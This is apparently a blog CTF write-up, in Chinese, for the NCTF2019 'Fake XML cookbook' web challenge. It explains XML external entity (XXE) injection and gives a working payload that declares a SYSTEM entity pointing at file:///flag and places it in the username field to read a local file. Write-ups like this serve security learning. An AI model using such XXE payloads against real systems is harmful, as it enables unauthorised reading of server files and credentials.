CTF | 1分钟
NCTF2019 Fake XML cookbook
三月 17, 2021
WEB XML XXE

打开靶机如图:

蒙了几个username和password都显示错误,看来没有太多提示了。既然题目提示了XML那就百度一波。已知晓XML存在实体注入,引入实体文件,然后读取它就完成注入了。我们抓包看看存不存在相关XML语句。如下:

发现使用XML存储username和password。将内容发送至Repeater,然后写入恶意实体,注意这里是使用file://协议读取flag文件,并且将这个文件赋给admin。后面的admin前有&的意思是读取admin。所以这里会读取flag文件。注意&admin后面要加 ; 。因为是当作语句执行的。恶意实体代码:

html
 1<?xml version="1.0" encoding="utf-8"?>
 2<!DOCTYPE note [
 3  <!ENTITY admin SYSTEM "file:///flag">
 4  ]>
 5<user>
 6  <username>
 7	&admin;
 8  </username>
 9  <password>
10	123456
11  </password>
12</user>

写好如下

发包

得出flag,感觉挺顺利的,第一次遇见xml实体注入,或者叫XXE攻击。